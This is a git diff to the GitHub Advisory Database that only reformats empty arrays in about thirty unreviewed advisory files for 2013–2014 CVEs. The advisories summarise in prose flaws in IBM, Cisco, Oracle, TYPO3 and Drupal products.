--git a/advisories/unreviewed/2022/05/GHSA-7g4g-9h43-3xvc/GHSA-7g4g-9h43-3xvc.json b/advisories/unreviewed/2022/05/GHSA-7g4g-9h43-3xvc/GHSA-7g4g-9h43-3xvc.json index ab9d8350e54..fbc45d7c0e8 100644 --- a/advisories/unreviewed/2022/05/GHSA-7g4g-9h43-3xvc/GHSA-7g4g-9h43-3xvc.json +++ b/advisories/unreviewed/2022/05/GHSA-7g4g-9h43-3xvc/GHSA-7g4g-9h43-3xvc.json @@ -7,12 +7,8 @@ "CVE-2014-0661" ], "details": "The System Status Collection Daemon (SSCD) in Cisco TelePresence System 500-37, 1000, 1300-65, and 3xxx before 1.10.2(42), and 500-32, 1300-47, TX1310 65, and TX9xxx before 6.0.4(11), allows remote attackers to execute arbitrary commands or cause a denial of service (stack memory corruption) via a crafted XML-RPC message, aka Bug ID CSCui32796.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7gff-9w2h-q7mj/GHSA-7gff-9w2h-q7mj.json b/advisories/unreviewed/2022/05/GHSA-7gff-9w2h-q7mj/GHSA-7gff-9w2h-q7mj.json index cfb58f454b6..0573bb7fccf 100644 --- a/advisories/unreviewed/2022/05/GHSA-7gff-9w2h-q7mj/GHSA-7gff-9w2h-q7mj.json +++ b/advisories/unreviewed/2022/05/GHSA-7gff-9w2h-q7mj/GHSA-7gff-9w2h-q7mj.json @@ -7,12 +7,8 @@ "CVE-2013-3825" ], "details": "Unspecified vulnerability in the Oracle Agile Product Collaboration component in Oracle Supply Chain Products Suite 9.3.1 allows remote authenticated users to affect confidentiality via unknown vectors related to Folders & Files Attachment.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7h9x-q59m-q97v/GHSA-7h9x-q59m-q97v.json b/advisories/unreviewed/2022/05/GHSA-7h9x-q59m-q97v/GHSA-7h9x-q59m-q97v.json index 9936e6f69da..ff12115750e 100644 --- a/advisories/unreviewed/2022/05/GHSA-7h9x-q59m-q97v/GHSA-7h9x-q59m-q97v.json +++ b/advisories/unreviewed/2022/05/GHSA-7h9x-q59m-q97v/GHSA-7h9x-q59m-q97v.json @@ -7,12 +7,8 @@ "CVE-2013-5375" ], "details": "Unspecified vulnerability in IBM Java SDK 7.0.0 before SR6, 6.0.1 before SR7, 6.0.0 before SR15, and 5.0.0 before SR16 FP4 allows remote attackers to access restricted classes via unspecified vectors related to XML and XSL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -68,9 +64,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-7hvg-5c7x-jw9c/GHSA-7hvg-5c7x-jw9c.json b/advisories/unreviewed/2022/05/GHSA-7hvg-5c7x-jw9c/GHSA-7hvg-5c7x-jw9c.json index 7283ecd4477..647ca1e6be3 100644 --- a/advisories/unreviewed/2022/05/GHSA-7hvg-5c7x-jw9c/GHSA-7hvg-5c7x-jw9c.json +++ b/advisories/unreviewed/2022/05/GHSA-7hvg-5c7x-jw9c/GHSA-7hvg-5c7x-jw9c.json @@ -7,12 +7,8 @@ "CVE-2013-6303" ], "details": "Directory traversal vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to read arbitrary files via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7jfq-mvq9-hxph/GHSA-7jfq-mvq9-hxph.json b/advisories/unreviewed/2022/05/GHSA-7jfq-mvq9-hxph/GHSA-7jfq-mvq9-hxph.json index 5b875be76cb..c55ee5a093c 100644 --- a/advisories/unreviewed/2022/05/GHSA-7jfq-mvq9-hxph/GHSA-7jfq-mvq9-hxph.json +++ b/advisories/unreviewed/2022/05/GHSA-7jfq-mvq9-hxph/GHSA-7jfq-mvq9-hxph.json @@ -7,12 +7,8 @@ "CVE-2013-2950" ], "details": "CRLF injection vulnerability in IBM WebSphere Portal 6.1.0.x before 6.1.0.3 CF26, 6.1.5.x before 6.1.5 CF26, 7.0.0.x before 7.0.0.2 CF21, and 8.0.0.x through 8.0.0.1 CF5, when home substitution (aka uri.home.substitution) is enabled, allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7mv6-r5f6-w598/GHSA-7mv6-r5f6-w598.json b/advisories/unreviewed/2022/05/GHSA-7mv6-r5f6-w598/GHSA-7mv6-r5f6-w598.json index 9ecec47ab09..73c21016c85 100644 --- a/advisories/unreviewed/2022/05/GHSA-7mv6-r5f6-w598/GHSA-7mv6-r5f6-w598.json +++ b/advisories/unreviewed/2022/05/GHSA-7mv6-r5f6-w598/GHSA-7mv6-r5f6-w598.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7p2q-j7qw-jq24/GHSA-7p2q-j7qw-jq24.json b/advisories/unreviewed/2022/05/GHSA-7p2q-j7qw-jq24/GHSA-7p2q-j7qw-jq24.json index e40f53cdf2d..3fa478513f2 100644 --- a/advisories/unreviewed/2022/05/GHSA-7p2q-j7qw-jq24/GHSA-7p2q-j7qw-jq24.json +++ b/advisories/unreviewed/2022/05/GHSA-7p2q-j7qw-jq24/GHSA-7p2q-j7qw-jq24.json @@ -7,12 +7,8 @@ "CVE-2013-4043" ], "details": "The server in IBM SPSS Collaboration and Deployment Services 4.x before 4.2.1.3 IF3, 5.x before 5.0 FP3, and 6.x before 6.0 IF1 allows remote attackers to read arbitrary files via an unspecified HTTP request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7p2w-5xvj-v699/GHSA-7p2w-5xvj-v699.json b/advisories/unreviewed/2022/05/GHSA-7p2w-5xvj-v699/GHSA-7p2w-5xvj-v699.json index 3341356529c..666e33d3858 100644 --- a/advisories/unreviewed/2022/05/GHSA-7p2w-5xvj-v699/GHSA-7p2w-5xvj-v699.json +++ b/advisories/unreviewed/2022/05/GHSA-7p2w-5xvj-v699/GHSA-7p2w-5xvj-v699.json @@ -7,12 +7,8 @@ "CVE-2013-4031" ], "details": "The Intelligent Platform Management Interface (IPMI) implementation in Integrated Management Module (IMM) and Integrated Management Module II (IMM2) on IBM BladeCenter, Flex System, System x iDataPlex, and System x3### servers has a default password for the IPMI user account, which makes it easier for remote attackers to perform power-on, power-off, or reboot actions, or add or modify accounts, via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-7ppm-p2qf-xhw5/GHSA-7ppm-p2qf-xhw5.json b/advisories/unreviewed/2022/05/GHSA-7ppm-p2qf-xhw5/GHSA-7ppm-p2qf-xhw5.json index 0ff2fa589cf..355299cdc3e 100644 --- a/advisories/unreviewed/2022/05/GHSA-7ppm-p2qf-xhw5/GHSA-7ppm-p2qf-xhw5.json +++ b/advisories/unreviewed/2022/05/GHSA-7ppm-p2qf-xhw5/GHSA-7ppm-p2qf-xhw5.json @@ -7,12 +7,8 @@ "CVE-2013-4045" ], "details": "Cross-site scripting (XSS) vulnerability in the Portal application in IBM SPSS Collaboration and Deployment Services 4.2.1 before 4.2.1.3 IF3 and 5.0 before FP3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7q55-fj86-rhfr/GHSA-7q55-fj86-rhfr.json b/advisories/unreviewed/2022/05/GHSA-7q55-fj86-rhfr/GHSA-7q55-fj86-rhfr.json index 2d66614be37..a3feb809b6d 100644 --- a/advisories/unreviewed/2022/05/GHSA-7q55-fj86-rhfr/GHSA-7q55-fj86-rhfr.json +++ b/advisories/unreviewed/2022/05/GHSA-7q55-fj86-rhfr/GHSA-7q55-fj86-rhfr.json @@ -7,12 +7,8 @@ "CVE-2013-7104" ], "details": "McAfee Email Gateway 7.6 allows remote authenticated administrators to execute arbitrary commands by specifying them in the value attribute in a (1) Command or (2) Script XML element. NOTE: this issue can be combined with CVE-2013-7092 to allow remote attackers to execute commands.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7r2h-2vr5-mw3x/GHSA-7r2h-2vr5-mw3x.json b/advisories/unreviewed/2022/05/GHSA-7r2h-2vr5-mw3x/GHSA-7r2h-2vr5-mw3x.json index dd77257706f..24d0db14005 100644 --- a/advisories/unreviewed/2022/05/GHSA-7r2h-2vr5-mw3x/GHSA-7r2h-2vr5-mw3x.json +++ b/advisories/unreviewed/2022/05/GHSA-7r2h-2vr5-mw3x/GHSA-7r2h-2vr5-mw3x.json @@ -7,12 +7,8 @@ "CVE-2013-5569" ], "details": "SQL injection vulnerability in the Slideshare extension 0.1.0 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7r5h-8358-vf22/GHSA-7r5h-8358-vf22.json b/advisories/unreviewed/2022/05/GHSA-7r5h-8358-vf22/GHSA-7r5h-8358-vf22.json index d7109b4af55..0ad7a901878 100644 --- a/advisories/unreviewed/2022/05/GHSA-7r5h-8358-vf22/GHSA-7r5h-8358-vf22.json +++ b/advisories/unreviewed/2022/05/GHSA-7r5h-8358-vf22/GHSA-7r5h-8358-vf22.json @@ -7,12 +7,8 @@ "CVE-2013-3755" ], "details": "Unspecified vulnerability in the Oracle Access Manager component in Oracle Fusion Middleware 11.1.1.5.0 allows remote attackers to affect integrity via vectors related to SSO Engine.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-7rj5-64mx-9522/GHSA-7rj5-64mx-9522.json b/advisories/unreviewed/2022/05/GHSA-7rj5-64mx-9522/GHSA-7rj5-64mx-9522.json index a4548e7b193..1c4cf3df872 100644 --- a/advisories/unreviewed/2022/05/GHSA-7rj5-64mx-9522/GHSA-7rj5-64mx-9522.json +++ b/advisories/unreviewed/2022/05/GHSA-7rj5-64mx-9522/GHSA-7rj5-64mx-9522.json @@ -7,12 +7,8 @@ "CVE-2013-5469" ], "details": "The TCP implementation in Cisco IOS does not properly implement the transitions from the ESTABLISHED state to the CLOSED state, which allows remote attackers to cause a denial of service (flood of ACK packets) via a crafted series of ACK and FIN packets, aka Bug ID CSCtz14399.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7vj8-7ww8-h9v6/GHSA-7vj8-7ww8-h9v6.json b/advisories/unreviewed/2022/05/GHSA-7vj8-7ww8-h9v6/GHSA-7vj8-7ww8-h9v6.json index 38d5bb456fd..b07212645da 100644 --- a/advisories/unreviewed/2022/05/GHSA-7vj8-7ww8-h9v6/GHSA-7vj8-7ww8-h9v6.json +++ b/advisories/unreviewed/2022/05/GHSA-7vj8-7ww8-h9v6/GHSA-7vj8-7ww8-h9v6.json @@ -7,12 +7,8 @@ "CVE-2013-6462" ], "details": "Stack-based buffer overflow in the bdfReadCharacters function in bitmap/bdfread.c in X.Org libXfont 1.1 through 1.4.6 allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string in a character name in a BDF font file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7wrj-5mg8-rqhh/GHSA-7wrj-5mg8-rqhh.json b/advisories/unreviewed/2022/05/GHSA-7wrj-5mg8-rqhh/GHSA-7wrj-5mg8-rqhh.json index 7b8d6095022..5cd1e019f5b 100644 --- a/advisories/unreviewed/2022/05/GHSA-7wrj-5mg8-rqhh/GHSA-7wrj-5mg8-rqhh.json +++ b/advisories/unreviewed/2022/05/GHSA-7wrj-5mg8-rqhh/GHSA-7wrj-5mg8-rqhh.json @@ -7,12 +7,8 @@ "CVE-2013-4720" ], "details": "SQL injection vulnerability in the WEC Discussion Forum extension before 2.1.2 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7xxq-8m44-mmhv/GHSA-7xxq-8m44-mmhv.json b/advisories/unreviewed/2022/05/GHSA-7xxq-8m44-mmhv/GHSA-7xxq-8m44-mmhv.json index 51f43da2338..5096dfd6cfb 100644 --- a/advisories/unreviewed/2022/05/GHSA-7xxq-8m44-mmhv/GHSA-7xxq-8m44-mmhv.json +++ b/advisories/unreviewed/2022/05/GHSA-7xxq-8m44-mmhv/GHSA-7xxq-8m44-mmhv.json @@ -7,12 +7,8 @@ "CVE-2013-3961" ], "details": "SQL injection vulnerability in edit_event.php in Simple PHP Agenda before 2.2.9 allows remote authenticated users to execute arbitrary SQL commands via the eventid parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8226-xx72-qrh6/GHSA-8226-xx72-qrh6.json b/advisories/unreviewed/2022/05/GHSA-8226-xx72-qrh6/GHSA-8226-xx72-qrh6.json index 18e0617de5f..b4afee78fff 100644 --- a/advisories/unreviewed/2022/05/GHSA-8226-xx72-qrh6/GHSA-8226-xx72-qrh6.json +++ b/advisories/unreviewed/2022/05/GHSA-8226-xx72-qrh6/GHSA-8226-xx72-qrh6.json @@ -7,12 +7,8 @@ "CVE-2014-0675" ], "details": "The Expressway component in Cisco TelePresence Video Communication Server (VCS) uses the same default X.509 certificate across different customers' installations, which makes it easier for remote attackers to conduct man-in-the-middle attacks against SSL sessions by leveraging the certificate's trust relationship, aka Bug ID CSCue07471.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-826g-qx95-qw3j/GHSA-826g-qx95-qw3j.json b/advisories/unreviewed/2022/05/GHSA-826g-qx95-qw3j/GHSA-826g-qx95-qw3j.json index d9378d5e91c..1b4724e18e7 100644 --- a/advisories/unreviewed/2022/05/GHSA-826g-qx95-qw3j/GHSA-826g-qx95-qw3j.json +++ b/advisories/unreviewed/2022/05/GHSA-826g-qx95-qw3j/GHSA-826g-qx95-qw3j.json @@ -7,12 +7,8 @@ "CVE-2013-6411" ], "details": "The HandleCrashedAircraft function in aircraft_cmd.cpp in OpenTTD 0.3.6 through 1.3.2 allows remote attackers to cause a denial of service (out-of-bounds read and crash) by crashing an aircraft outside of the map.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8384-9ccv-99pr/GHSA-8384-9ccv-99pr.json b/advisories/unreviewed/2022/05/GHSA-8384-9ccv-99pr/GHSA-8384-9ccv-99pr.json index cb0e44f8b07..91f40c8a9de 100644 --- a/advisories/unreviewed/2022/05/GHSA-8384-9ccv-99pr/GHSA-8384-9ccv-99pr.json +++ b/advisories/unreviewed/2022/05/GHSA-8384-9ccv-99pr/GHSA-8384-9ccv-99pr.json @@ -7,12 +7,8 @@ "CVE-2013-2290" ], "details": "Cross-site scripting (XSS) vulnerability in the dashboard of the ArubaOS Administration WebUI in Aruba Networks ArubaOS 6.2.x before 6.2.0.3, 6.1.3.x before 6.1.3.7, 6.1.x-FIPS before 6.1.4.3-FIPS, and 6.1.x-AirGroup before 6.1.3.6-AirGroup, as used by Mobility Controller, allows remote wireless access points to inject arbitrary web script or HTML via a crafted SSID.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-86f9-hf9f-rqq8/GHSA-86f9-hf9f-rqq8.json b/advisories/unreviewed/2022/05/GHSA-86f9-hf9f-rqq8/GHSA-86f9-hf9f-rqq8.json index f6593e834e2..ec5af093f89 100644 --- a/advisories/unreviewed/2022/05/GHSA-86f9-hf9f-rqq8/GHSA-86f9-hf9f-rqq8.json +++ b/advisories/unreviewed/2022/05/GHSA-86f9-hf9f-rqq8/GHSA-86f9-hf9f-rqq8.json @@ -7,12 +7,8 @@ "CVE-2013-5383" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote authenticated users to gain privileges via unspecified vectors, a different vulnerability than CVE-2013-5382.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-87c8-xpwx-4xvr/GHSA-87c8-xpwx-4xvr.json b/advisories/unreviewed/2022/05/GHSA-87c8-xpwx-4xvr/GHSA-87c8-xpwx-4xvr.json index 18b78505be0..79a09a98e83 100644 --- a/advisories/unreviewed/2022/05/GHSA-87c8-xpwx-4xvr/GHSA-87c8-xpwx-4xvr.json +++ b/advisories/unreviewed/2022/05/GHSA-87c8-xpwx-4xvr/GHSA-87c8-xpwx-4xvr.json @@ -7,12 +7,8 @@ "CVE-2013-6325" ], "details": "IBM WebSphere Application Server 7.x before 7.0.0.31, 8.0.x before 8.0.0.8, and 8.5.x before 8.5.5.2 allows remote attackers to cause a denial of service (resource consumption) via a crafted request to a web services endpoint.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-89c3-rq5f-m5p2/GHSA-89c3-rq5f-m5p2.json b/advisories/unreviewed/2022/05/GHSA-89c3-rq5f-m5p2/GHSA-89c3-rq5f-m5p2.json index 998095cdefc..85e4f6f449d 100644 --- a/advisories/unreviewed/2022/05/GHSA-89c3-rq5f-m5p2/GHSA-89c3-rq5f-m5p2.json +++ b/advisories/unreviewed/2022/05/GHSA-89c3-rq5f-m5p2/GHSA-89c3-rq5f-m5p2.json @@ -7,12 +7,8 @@ "CVE-2013-4047" ], "details": "Cross-site scripting (XSS) vulnerability in IBM SPSS Analytical Decision Management 6.1 before IF1, 6.2 before IF1, and 7.0 before FP1 IF6 allows remote attackers to inject arbitrary web script or HTML via a crafted link.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8fhr-q64r-cg3f/GHSA-8fhr-q64r-cg3f.json b/advisories/unreviewed/2022/05/GHSA-8fhr-q64r-cg3f/GHSA-8fhr-q64r-cg3f.json index b36cdf061ce..4e63063e4e3 100644 --- a/advisories/unreviewed/2022/05/GHSA-8fhr-q64r-cg3f/GHSA-8fhr-q64r-cg3f.json +++ b/advisories/unreviewed/2022/05/GHSA-8fhr-q64r-cg3f/GHSA-8fhr-q64r-cg3f.json @@ -7,12 +7,8 @@ "CVE-2013-7076" ], "details": "Cross-site scripting (XSS) vulnerability in Extension Manager in TYPO3 4.5.x before 4.5.32 and 4.7.x before 4.7.17 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8fm9-24mx-3vp7/GHSA-8fm9-24mx-3vp7.json b/advisories/unreviewed/2022/05/GHSA-8fm9-24mx-3vp7/GHSA-8fm9-24mx-3vp7.json index ceceb9e5ebb..8afb88ca2ed 100644 --- a/advisories/unreviewed/2022/05/GHSA-8fm9-24mx-3vp7/GHSA-8fm9-24mx-3vp7.json +++ b/advisories/unreviewed/2022/05/GHSA-8fm9-24mx-3vp7/GHSA-8fm9-24mx-3vp7.json @@ -7,12 +7,8 @@ "CVE-2013-4046" ], "details": "Open redirect vulnerability in IBM SPSS Collaboration and Deployment Services 4.2.1 before 4.2.1.3 IF3 and 5.0 before FP3 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8h4m-p2hq-jw7x/GHSA-8h4m-p2hq-jw7x.json b/advisories/unreviewed/2022/05/GHSA-8h4m-p2hq-jw7x/GHSA-8h4m-p2hq-jw7x.json index fee33cd55df..13b8e077941 100644 --- a/advisories/unreviewed/2022/05/GHSA-8h4m-p2hq-jw7x/GHSA-8h4m-p2hq-jw7x.json +++ b/advisories/unreviewed/2022/05/GHSA-8h4m-p2hq-jw7x/GHSA-8h4m-p2hq-jw7x.json @@ -7,12 +7,8 @@ "CVE-2013-3998" ], "details": "CRLF injection vulnerability in the Web Application Enterprise Console in IBM InfoSphere BigInsights 1.1 and 2.x before 2.1 FP2 allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8hf5-q9gc-2637/GHSA-8hf5-q9gc-2637.json b/advisories/unreviewed/2022/05/GHSA-8hf5-q9gc-2637/GHSA-8hf5-q9gc-2637.json index c4b5368ca31..025b731ea7c 100644 --- a/advisories/unreviewed/2022/05/GHSA-8hf5-q9gc-2637/GHSA-8hf5-q9gc-2637.json +++ b/advisories/unreviewed/2022/05/GHSA-8hf5-q9gc-2637/GHSA-8hf5-q9gc-2637.json @@ -7,12 +7,8 @@ "CVE-2013-2270" ], "details": "Cross-site scripting (XSS) vulnerability in the administration page in Airvana HubBub C1-600-RT and Sprint AIRAVE 2.5 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8j4v-fpv3-7867/GHSA-8j4v-fpv3-7867.json b/advisories/unreviewed/2022/05/GHSA-8j4v-fpv3-7867/GHSA-8j4v-fpv3-7867.json index 553adf64599..f4c03eb195c 100644 --- a/advisories/unreviewed/2022/05/GHSA-8j4v-fpv3-7867/GHSA-8j4v-fpv3-7867.json +++ b/advisories/unreviewed/2022/05/GHSA-8j4v-fpv3-7867/GHSA-8j4v-fpv3-7867.json @@ -7,12 +7,8 @@ "CVE-2013-5760" ], "details": "QNAP Photo Station before firmware 4.0.3 build0912 allows remote attackers to list OS user accounts via a request to photo/p/api/list.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8j7h-j2qq-72hx/GHSA-8j7h-j2qq-72hx.json b/advisories/unreviewed/2022/05/GHSA-8j7h-j2qq-72hx/GHSA-8j7h-j2qq-72hx.json index 42b039cd79e..cd0af2e8304 100644 --- a/advisories/unreviewed/2022/05/GHSA-8j7h-j2qq-72hx/GHSA-8j7h-j2qq-72hx.json +++ b/advisories/unreviewed/2022/05/GHSA-8j7h-j2qq-72hx/GHSA-8j7h-j2qq-72hx.json @@ -7,12 +7,8 @@ "CVE-2013-7067" ], "details": "The OG Features module 6.x-1.x before 6.x-1.4 for Drupal does not properly override pages that have an access callback set to false, which allows remote attackers to bypass intended access restrictions via a request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-8jg2-wj36-w4c2/GHSA-8jg2-wj36-w4c2.json b/advisories/unreviewed/2022/05/GHSA-8jg2-wj36-w4c2/GHSA-8jg2-wj36-w4c2.json index d359a3394c4..15f3bd55e6f 100644 --- a/advisories/unreviewed/2022/05/GHSA-8jg2-wj36-w4c2/GHSA-8jg2-wj36-w4c2.json +++ b/advisories/unreviewed/2022/05/GHSA-8jg2-wj36-w4c2/GHSA-8jg2-wj36-w4c2.json @@ -7,12 +7,8 @@ "CVE-2013-5315" ], "details": "Cross-site scripting (XSS) vulnerability in the Resource Manager in the MEE submodule (mee.module) in the Scald module 6.x-1.x before 6.x-1.0-beta3 and 7.x-1.x before 7.x-1.1 for Drupal allows remote attackers to inject arbitrary web script or HTML via the atom title, a different vector than CVE-2013-4174.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8m62-c2mg-j4vr/GHSA-8m62-c2mg-j4vr.json b/advisories/unreviewed/2022/05/GHSA-8m62-c2mg-j4vr/GHSA-8m62-c2mg-j4vr.json index dd6976e3962..bf9599e1eb6 100644 --- a/advisories/unreviewed/2022/05/GHSA-8m62-c2mg-j4vr/GHSA-8m62-c2mg-j4vr.json +++ b/advisories/unreviewed/2022/05/GHSA-8m62-c2mg-j4vr/GHSA-8m62-c2mg-j4vr.json @@ -7,12 +7,8 @@ "CVE-2013-5883" ], "details": "Unspecified vulnerability in Oracle Solaris 8 allows local users to affect integrity and availability via unknown vectors related to Kernel.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-8mfg-rc8p-w425/GHSA-8mfg-rc8p-w425.json b/advisories/unreviewed/2022/05/GHSA-8mfg-rc8p-w425/GHSA-8mfg-rc8p-w425.json index 833fe4b117f..0c585c8b270 100644 --- a/advisories/unreviewed/2022/05/GHSA-8mfg-rc8p-w425/GHSA-8mfg-rc8p-w425.json +++ b/advisories/unreviewed/2022/05/GHSA-8mfg-rc8p-w425/GHSA-8mfg-rc8p-w425.json @@ -7,12 +7,8 @@ "CVE-2013-5389" ], "details": "Cross-site scripting (XSS) vulnerability in iNotes in IBM Domino 8.5.3 before FP5 IF2 and 9.0 before IF5 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka SPR PTHN9AYK2X.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8pvv-mj79-jpcq/GHSA-8pvv-mj79-jpcq.json b/advisories/unreviewed/2022/05/GHSA-8pvv-mj79-jpcq/GHSA-8pvv-mj79-jpcq.json index a8e840c96a6..914ef9db78b 100644 --- a/advisories/unreviewed/2022/05/GHSA-8pvv-mj79-jpcq/GHSA-8pvv-mj79-jpcq.json +++ b/advisories/unreviewed/2022/05/GHSA-8pvv-mj79-jpcq/GHSA-8pvv-mj79-jpcq.json @@ -7,12 +7,8 @@ "CVE-2013-6982" ], "details": "The BGP implementation in Cisco NX-OS 6.2(2a) and earlier does not properly handle the interaction of UPDATE messages with IPv6, VPNv4, and VPNv6 labeled unicast-address families, which allows remote attackers to cause a denial of service (peer reset) via a crafted message, aka Bug ID CSCuj03174.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8r57-v3hc-pfrg/GHSA-8r57-v3hc-pfrg.json b/advisories/unreviewed/2022/05/GHSA-8r57-v3hc-pfrg/GHSA-8r57-v3hc-pfrg.json index 99f16eff8bb..1f23b6dd0fe 100644 --- a/advisories/unreviewed/2022/05/GHSA-8r57-v3hc-pfrg/GHSA-8r57-v3hc-pfrg.json +++ b/advisories/unreviewed/2022/05/GHSA-8r57-v3hc-pfrg/GHSA-8r57-v3hc-pfrg.json @@ -7,12 +7,8 @@ "CVE-2013-3990" ], "details": "Cross-site scripting (XSS) vulnerability in the MIME e-mail functionality in iNotes in IBM Domino 9.0 before IF3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka SPR 